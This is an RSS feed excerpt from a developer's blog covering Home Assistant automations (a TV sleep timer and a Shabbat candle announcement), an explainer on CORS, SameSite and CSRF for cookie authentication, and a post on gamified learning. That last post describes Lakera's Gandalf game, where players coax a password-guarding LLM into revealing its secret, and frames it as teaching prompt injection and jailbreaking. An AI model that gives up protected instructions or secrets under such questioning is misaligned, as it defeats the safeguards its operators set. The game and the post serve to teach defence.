&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;cards&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;entities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Living Room TV Sleep Timer&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entities&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;input_number.living_room_tv_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Timer Duration (minutes)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;timer.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Sleep Timer&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;automation.living_room_tv_sleep_timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Timer Control&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;show_header_toggle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;more-home-assistant&quot;&gt;More Home Assistant&lt;/h2&gt;
&lt;p&gt;You might find these other Home Assistant related articles useful too:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lirantal.com/blog/block-lan-clients-from-accessing-youtube-and-other-media-with&quot;&gt;How to block LAN clients from accessing YouTube and other media with AdGuard and Home Assistant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lirantal.com/blog/employ-tailscale-vpn-to-securely-access-home-assistant-remotely&quot;&gt;How I Deployed Tailscale VPN to Securely Access Home Assistant Remotely&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>How to setup Shabbat candle time announcement with Home Assistant Automation</title><link>https://lirantal.com/blog/how-to-setup-tv-sleep-timer-with-home-assistant-automation/</link><guid>https://lirantal.com/blog/how-to-setup-tv-sleep-timer-with-home-assistant-automation/</guid><description>Fun and useful automation for Shabbat observant families to announce the candle lighting time using Home Assistant.</description><pubDate>Sat, 05 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For Shabbat observant families, the time for lighting the candles is an important ritual. It should be done very close in time to when Shabbat enters. I already have a Home Assistant integration that shows up Shabbat times so it can help automate this process, ensuring that an announcement is made at the right time every week. Here’s how to set it up.&lt;/p&gt;
&lt;p&gt;To build this integration I relied on the following helpful resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Blog post on &lt;a href=&quot;https://medium.com/daniels-tech-world/smart-home-shabbat-automation-with-home-assistant-v1-7595713f067d&quot;&gt;Setting up Shabbat Automation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.home-assistant.io/t/shabbos-mode/248182/10&quot;&gt;Shabbos mode discussion on Home Assistant Community&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Various automation examples from &lt;a href=&quot;https://heyitworks.tech/blog/home-assistant-automations-for-yom-tov-shabbat-observance/#create-your-scenes-for-various-shabbat-times&quot;&gt;this blog post on Yom Tov and Shabbos Automation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pre-requisites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You have Home Assistant installed and running.&lt;/li&gt;
&lt;li&gt;You have the &lt;code&gt;Jewish Sabbaths Holidays&lt;/code&gt; integration installed and configured in Home Assistant: &lt;a href=&quot;https://github.com/rt400/Jewish-Sabbaths-Holidays&quot;&gt;https://github.com/rt400/Jewish-Sabbaths-Holidays&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-shabbat-candle-time-announcement-home-assistant-automation&quot;&gt;The Shabbat Candle Time Announcement Home Assistant Automation&lt;/h2&gt;
&lt;p&gt;Here’s the full automation setup in Home Assistant:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/home-assistant-shabbat-candle-time-announcement-automation.png&quot; alt=&quot;home assistant shabbat candle time announcement automation&quot;&gt;&lt;/p&gt;
&lt;p&gt;The code involved is the following. First, we setup the trigger:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{{ &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;(as_timestamp(strptime(states(&apos;sensor.hebcal_shabbat_entry&apos;)&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%H:%M&apos;)) - as_timestamp(now()) | int) &amp;#x3C;= 300 and (as_timestamp(strptime(states(&apos;sensor.hebcal_shabbat_entry&apos;)&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%H:%M&apos;)) - as_timestamp(now()) | int) &gt; 0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that it requires you actually have setup and integrated the &lt;code&gt;Jewish Sabbaths Holidays&lt;/code&gt; integration which provides the &lt;code&gt;sensor.hebcal_shabbat_entry&lt;/code&gt; sensor (you need to define it in your &lt;code&gt;configuration.yaml&lt;/code&gt; file). If it’s called something else or you defined it somehow different, adjust the above YAMl template for the trigger accordingly.&lt;/p&gt;
&lt;p&gt;Next, the condition:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{{ &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;now().weekday() == 4&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This condition checks that today is Friday, which is when Shabbat starts.&lt;/p&gt;
&lt;p&gt;Finally, the action to announce the candle lighting time. Here is the YAML version of the action that you see in the screenshot above:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;tts.speak&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;cache&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;-&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    Dear residents of the Tal family. Shabbat about to start. Shabbat about to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    start. Shabbat about to start. Shabbat Shalom Lekuuulam.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;media_player_entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;media_player.living_room_tv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;tts.google_translate_en_com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;more-home-assistant&quot;&gt;More Home Assistant&lt;/h2&gt;
&lt;p&gt;You might find these other Home Assistant related articles useful too:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lirantal.com/blog/how-to-setup-tv-sleep-timer-with-home-assistant-automation&quot;&gt;How to setup TV Sleep Timer with Home Assistant Automation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lirantal.com/blog/block-lan-clients-from-accessing-youtube-and-other-media-with&quot;&gt;How to block LAN clients from accessing YouTube and other media with AdGuard and Home Assistant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lirantal.com/blog/employ-tailscale-vpn-to-securely-access-home-assistant-remotely&quot;&gt;How I Deployed Tailscale VPN to Securely Access Home Assistant Remotely&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>CORS, SameSite and CSRF: The 3 Dimensions of Cookie based Authentication</title><link>https://lirantal.com/blog/cors-samesite-csrf-3-dimensions-cookie-authentication/</link><guid>https://lirantal.com/blog/cors-samesite-csrf-3-dimensions-cookie-authentication/</guid><description>Demystifying the 3 dimensions of cookie-based authentication: CORS, SameSite, and CSRF.</description><pubDate>Sun, 08 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Web developers are frustrated on a regular basis by the complexity of cookie-based authentication, specifically when it comes to Cross-Origin Resource Sharing (CORS). How CORS relate to SameSite, and Cross-Site Request Forgery (CSRF) can even further introduce complexity to the mix but in this article we’ll flesh out the 3 dimensions of cookie-based authentication and how they relate to CORS, SameSite, and CSRF.&lt;/p&gt;
&lt;p&gt;The complexity arises from the fact that c$$&lt;/p&gt;
&lt;p&gt;$$ookies are used for multiple purposes, including authentication, session management, and tracking. This complexity is further compounded by the fact that cookies are subject to a variety of security vulnerabilities, such as Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS), which developers must be aware of when building cookie-based authentication systems and do want to take mitigation measures to prevent these vulnerabilities.&lt;/p&gt;
&lt;p&gt;CORS, SameSite and CSRF are 3 dimensions of cookie-based authentication are crucial to understand when you are building cookie-based authentication systems.&lt;/p&gt;
&lt;h2 id=&quot;what-is-cors&quot;&gt;What is CORS ?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CORS&lt;/strong&gt;: Cross-Origin Resource Sharing (CORS) is a security feature that restricts how resources on a web page can be requested from another domain. This is important because it prevents malicious websites from making requests to your website and stealing sensitive information. CORS is enforced by the browser, but the server plays an active role and it is important to configure your server correctly to allow or deny requests sent by browsers from other domains.&lt;/p&gt;
&lt;p&gt;CORS is directly related to the concept of an &lt;code&gt;Origin&lt;/code&gt; and the Same-Origin Policy (SOP). While sometimes confused with Cookies and their &lt;code&gt;domain&lt;/code&gt; attributes, CORS and its &lt;code&gt;Origin&lt;/code&gt; definition is a separate concept that is used to determine if a request is allowed to be made from one domain to another.&lt;/p&gt;
&lt;h2 id=&quot;what-is-samesite&quot;&gt;What is SameSite ?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SameSite&lt;/strong&gt;: The SameSite attribute of a cookie is used to prevent the browser from sending the cookie along with cross-site requests. This helps to mitigate Cross-Site Request Forgery (CSRF) attacks, where an attacker tricks a user into making a request to a website that the user is already authenticated with. By setting the SameSite attribute to &lt;code&gt;Strict&lt;/code&gt;, the cookie will only be sent in what’s called a first-party context.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;Lax&lt;/code&gt; value for the SameSite attribute allows the cookie to be sent with cross-site requests that are top-level &lt;em&gt;navigations&lt;/em&gt; initiated by the user, such as clicking on a link. This is the default value for cookies that don’t have the SameSite attribute set. Is the &lt;code&gt;Lax&lt;/code&gt; value helpful in mitigating CSRF attacks? Yes, to an extent, but it’s not as strong as the &lt;code&gt;Strict&lt;/code&gt; value.&lt;/p&gt;
&lt;p&gt;Knowing when to set a cookie’s SameSite attribute to &lt;code&gt;Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt; is important for preventing CSRF attacks, but it’s also important with regards to how applications are built and how they interact with each other. A good example is an oAuth flow that is based on an authorization code. In such oAuth flows, if you set the &lt;code&gt;SameSite&lt;/code&gt; attribute to &lt;code&gt;Strict&lt;/code&gt; and use the oAuth’s &lt;em&gt;state&lt;/em&gt; parameter to maintain state between the authorization request and the authorization response, then upon redirection from the authorization server back to your application, the state parameter will be lost because the cookie will not be sent with the request. This is because the request is considered a cross-site request. The result of this is that the authorization flow will fail. In such cases, you would set the &lt;code&gt;SameSite&lt;/code&gt; attribute to &lt;code&gt;Lax&lt;/code&gt; to allow the cookie to be sent with the request.&lt;/p&gt;
&lt;h2 id=&quot;what-is-the-cookies-domain-attribute&quot;&gt;What is the Cookie’s Domain Attribute ?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Domain&lt;/strong&gt;: The domain attribute of a cookie is used to specify the domain that the cookie is associated with. This is important because it determines which requests outgoing from the browser the cookie will be sent with. If the domain attribute is not set, the cookie will only be sent with requests to the domain that initially set the cookie. If the domain attribute is set, the cookie will be sent with requests to the domain that set the cookie and all subdomains of that domain.&lt;/p&gt;
&lt;p&gt;Only the domain that set the cookie can read the cookie. This is important for security reasons, as it prevents malicious websites from reading cookies set by other websites. However, it also means that if you want to share cookies across subdomains, you need to set the domain attribute of the cookie to the root domain.&lt;/p&gt;
&lt;h2 id=&quot;cookie-domain-gotcha&quot;&gt;Cookie Domain Gotcha&lt;/h2&gt;
&lt;p&gt;While setting the domain attribute for cookies can be beneficial, there are a few things to keep in mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Subdomain Sharing&lt;/strong&gt;: A cookie set with a domain like &lt;code&gt;.example.com&lt;/code&gt; will be accessible across all subdomains. This can be useful for keeping user logged in across different parts of your website, but be aware that it also means any subdomain can potentially access that cookie data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security Concerns with Top-Level Domains&lt;/strong&gt;: For security reasons, browsers often restrict setting cookies with a domain attribute that includes a top-level domain (TLD) like &lt;code&gt;.com&lt;/code&gt; or &lt;code&gt;.org&lt;/code&gt;. This is to prevent malicious scripts on one website from accessing cookies set by completely different domains. For example, an app hosted on &lt;code&gt;myapp.herokuapp.com&lt;/code&gt; cannot set a cookie with domain set to  &lt;code&gt;*.herokuapp.com&lt;/code&gt; because it would be accessible by any website on the .&lt;code&gt;herokuapp.com&lt;/code&gt; domain. See Heroku’s write-up on &lt;a href=&quot;https://devcenter.heroku.com/articles/cookies-and-herokuapp-com&quot;&gt;Cookies and the Public Suffix List&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This can be a challenge for developers deploying to platforms like Heroku or GitHub Pages that assign subdomains to their hosted apps. If you need cookie sharing across multiple Heroku apps, you’ll need to explore alternative solutions like.&lt;/p&gt;
&lt;h2 id=&quot;the-notion-of-domain-and-how-it-relates-to-cors-samesite-and-csrf&quot;&gt;The notion of ‘Domain’ and how it relates to CORS, SameSite and CSRF&lt;/h2&gt;
&lt;p&gt;Key foundational elements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cookie’s domain attribute&lt;/li&gt;
&lt;li&gt;Cookie’s SameSite attribute&lt;/li&gt;
&lt;li&gt;CORS server configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SameSite&lt;/code&gt; cookie attribute set to &lt;code&gt;strict&lt;/code&gt; will only be sent in a first-party context, which means that the cookie will only be sent if the request is coming from the same domain that set the cookie, or the request is being made from a subdomain of the domain that set the cookie. For the purpose of &lt;code&gt;SameSite&lt;/code&gt; cookie configuration, the &lt;code&gt;domain&lt;/code&gt; is the root domain of the website, and all subdomains are considered to be part of the same domain. Yes, even for &lt;code&gt;strict&lt;/code&gt; SameSite value.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For &lt;code&gt;CORS&lt;/code&gt;, the notion of &lt;code&gt;domain&lt;/code&gt; doesn’t exist in the same way as it does for cookies and &lt;code&gt;SameSite&lt;/code&gt;. Instead, we need to think in terms of the definition of an &lt;code&gt;Origin&lt;/code&gt; which is a combination of the protocol, domain, and port of a URL. For example, the &lt;code&gt;Origin&lt;/code&gt; of &lt;code&gt;https://example.com:443&lt;/code&gt; is &lt;code&gt;https://example.com&lt;/code&gt;. The &lt;code&gt;Origin&lt;/code&gt; of &lt;code&gt;http://example.com:80&lt;/code&gt; is &lt;code&gt;http://example.com&lt;/code&gt;. The &lt;code&gt;Origin&lt;/code&gt; of &lt;code&gt;https://sub.example.com:443&lt;/code&gt; is &lt;code&gt;https://sub.example.com&lt;/code&gt;. The &lt;code&gt;Origin&lt;/code&gt; of &lt;code&gt;http://sub.example.com:80&lt;/code&gt; is &lt;code&gt;http://sub.example.com&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lastly, a Cookie’s &lt;code&gt;domain&lt;/code&gt; attribute is used to specify the domain that the cookie is associated with. This is important because it determines which requests outgoing from the browser the cookie will be sent with. If the &lt;code&gt;domain&lt;/code&gt; attribute is not set, the cookie will only be sent with requests to the domain that initially set the cookie. If the &lt;code&gt;domain&lt;/code&gt; attribute is set, the cookie will be sent with requests to the domain that set the cookie and all subdomains of that domain.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Following on the above, &lt;code&gt;SameSite&lt;/code&gt; applies to a domain as a whole and has nothing specifically to do with a CORS &lt;code&gt;Origin&lt;/code&gt; definition. Moreover, the &lt;code&gt;SameSite&lt;/code&gt; definition has one more aspect: it treats subdomains of the effective Top-Level Domain (eTLD) as the same site. This directly relates to the &lt;code&gt;domain&lt;/code&gt; attribute of a cookie and the above ‘gotcha’ of deploying on platforms like Heroku or GitHub Pages which are part of a Public Suffix List.&lt;/p&gt;</content:encoded></item><item><title>Gamifying the Future of Skill Development: From Open-Source Security to LLM Prompt Injection</title><link>https://lirantal.com/blog/gamifying-future-skill-development-open-source-security-llm-prompt-injection/</link><guid>https://lirantal.com/blog/gamifying-future-skill-development-open-source-security-llm-prompt-injection/</guid><description>Gamified learning is a great way to engage developers and teach them new skills. I share my experience building a game to teach developers about open-source security, playing Lakera&apos;s LLM prompt injection game and cheering for Israeli gamified learning startup Wilco.</description><pubDate>Thu, 15 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Reading an article, following API documentation or watching a video tutorial are all great ways to learn new skills but a truly memorable experience? learn through experience, lasting impressions of gamified learning.&lt;/p&gt;
&lt;p&gt;So what if you could learn by playing a game? That’s the idea behind gamified learning. I want to share with you how I got started with building my own game to engage developers about open-source security and watching another company launch a game to teach developers about prompt injection in LLMs.&lt;/p&gt;
&lt;h2 id=&quot;dependencyfrost---open-source-security-game&quot;&gt;DependencyFrost - Open-Source Security Game&lt;/h2&gt;
&lt;p&gt;At Snyk, I often engage with developers about open-source security and specifically the importance of security vulnerabilities, secure code and overall supply chain security in the JavaScript ecosystem. Between studying packages in the npm registry, maintainers seeking help to triage vulnerability reports, or just general security research, the day to day work is very technical and immersive.&lt;/p&gt;
&lt;p&gt;Similarly, I recognize that developers are busy at work. They often are too worried about shipping features on time. Tests? Security? who has time for that. I get it. Still, there has to be a more fun way of engaging with developers and at least getting them to think about security.&lt;/p&gt;
&lt;p&gt;Watching &lt;a href=&quot;https://x.com/ania_kubow&quot;&gt;Ania Kubow&lt;/a&gt; build a games in JavaScript, I was inspired to build my own game. She’s an incredibly good instructor and I highly recommend her content and her YouTube channel.&lt;/p&gt;
&lt;p&gt;One of Ania’s game development streams featured a JavaScript gaming library called Kaboom.js. Kaboom.js is a JavaScript library that makes it easy to build games. It’s a fun framework that abstracts away the tricky parts like rendering, game physics, the game loop, and more and keep you focused on the actual story, game mechanics, scenes and game play.&lt;/p&gt;
&lt;p&gt;I wanted to create a fun and interactive way to teach developers about the importance of open-source security. I decided to build a game called DependencyFrost. The game is a simple platformer where you play as a dog who runs on a frozen lake (Snyk’s mascot is a dog). The goal is to avoid packages through-out the level because they are vulnerable.&lt;/p&gt;
&lt;p&gt;Here’s a quick demo of the game:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/dependency-frost-game.png&quot; alt=&quot;Liran Tal&amp;#x27;s DependencyFrost game&quot;&gt;&lt;/p&gt;
&lt;p&gt;I found out that the game is a great way to break the ice with developers and I’ve used it once in an Open Source Summit event to welcome &lt;a href=&quot;https://x.com/liran_tal/status/1607768465997238272&quot;&gt;developers to the stage to play the game&lt;/a&gt; in those first few minutes before the hall gets packed and everyone enters. It was a hit!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/dependency-frost-game-at-open-source-summit.png&quot; alt=&quot;Liran Tal&amp;#x27;s DependencyFrost game at Open Source Summit event&quot;&gt;&lt;/p&gt;
&lt;p&gt;Even more so, we used it at Snyk in our booth at a conference and developers loved visiting us and trying their best to beat the high score and make it to the leader board. It was a great way to engage with developers and talk about security. Here’s a photo from NodeConf EU 2022:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/dependency-frost-game-at-nodeconf-eu.png&quot; alt=&quot;Liran Tal&amp;#x27;s Dependency Frost game at NodeConf EU 2022&quot;&gt;&lt;/p&gt;
&lt;video width=&quot;100%&quot; controls&gt;
  &lt;source src=&quot;/images/blog/VID_20221004_104308.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;
&lt;p&gt;The game is open-source and you can find the code on GitHub in the &lt;a href=&quot;https://github.com/lirantal/Dependency-Frost&quot;&gt;lirantal/dependencyfrost repository&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;lakeras-gandalf-an-llm-prompt-injection-game&quot;&gt;Lakera’s Gandalf, an LLM Prompt Injection Game&lt;/h2&gt;
&lt;p&gt;Lakera, a cybersecurity software company in the domain of LLMs (Large Language Models) and AI, launched a web-based game called Gandalf. The purpose of the game is to introduce developers to concepts such as social engineering (which they may not actually be aware that this is what they’re doing) and prompt injection in LLMs.&lt;/p&gt;
&lt;p&gt;SPOILER ALERT: If you haven’t played the game yet, you may want to zoom past this next section that shows a sneak peek of the game with screenshots on prompts in various levels.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gandalf.lakera.ai/&quot;&gt;Gandalf&lt;/a&gt; is a game character that holds a secret. The secret password. Gandalf has received strict orders to not reveal the password to anyone. The player’s goal is to get Gandalf to reveal the password by asking the right questions. Gandalf is essentially an LLM model that received specific prompt instructions and the game play surrounds the player’s ability to ask the right questions to get Gandalf to reveal the password. This is a sort of soft landing introduction to jail-breaking LLMs.&lt;/p&gt;
&lt;p&gt;So how does it look like?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/gandalf-level-1.png&quot; alt=&quot;Lakera Gandalf LLM prompt injection game level 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;The game is made up of 7 levels, and a bonus 8th level. Each level is a different scenario, with increasing difficulty and security guardrails to prevent the player from getting the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/gandalf-level-4.png&quot; alt=&quot;Lakera Gandalf LLM prompt injection game level 4&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;gamifying-the-future-of-skill-development&quot;&gt;Gamifying the Future of Skill Development&lt;/h2&gt;
&lt;p&gt;My experience with building DependencyFrost and watching Lakera launch Gandalf has been a great learning experience and one that further solidifies my belief in the power of gamified learning. In the same space of technical training and the future of skill development, the Israeli startup &lt;a href=&quot;https://www.trywilco.com/&quot;&gt;Wilco&lt;/a&gt; also recognizes the importance of turning learning into a game. They’ve built a platform that helps developers learn new skills through gamified learning. Check it out.&lt;/p&gt;
&lt;p&gt;Especially if you’re in the space of developer relations, developer advocacy, or just generally interested in teaching developers new skills, I highly recommend considering gamified learning as a way to engage with developers and make learning fun and memorable.&lt;/p&gt;
&lt;p&gt;Game over.&lt;/p&gt;</content:encoded></item><item><title>DevRel Failures? Maybe Your Marketing and Product Strategies Are Outdated</title><link>https://lirantal.com/blog/devrel-failures-or-marketing-failures-outdated-product-marketing-strategies/</link><guid>https://lirantal.com/blog/devrel-failures-or-marketing-failures-outdated-product-marketing-strategies/</guid><description>You&apos;re probably facing some DevRel failures or marketing failures. Maybe your product and marketing strategies are actually outdated and causing customer churn, and overall frustration?</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Developer Relations (DevRel) is often in the intersection of marketing, product and engineering. Undoubtedly, DevRel has been facing a turmoil of changes, layoffs and strategic shifts within startup and companies but maybe it is your product and marketing strategies that are actually outdated and causing customer churn, and overall frustration?&lt;/p&gt;
&lt;p&gt;The following are some of my impressions and thoughts from working with founders, devtool companies and startups in the technology space around AI, software engineering, and application security domain.&lt;/p&gt;
&lt;h2 id=&quot;the-old-days&quot;&gt;The old days&lt;/h2&gt;
&lt;p&gt;In the “old days”, which in this fast-pacing environment of technology startups is basically 4 years ago, we used to follow very concrete playbooks for everything across DevRel, Marketing and Product.&lt;/p&gt;
&lt;p&gt;Some examples of these playbooks include:&lt;/p&gt;
&lt;ul&gt;
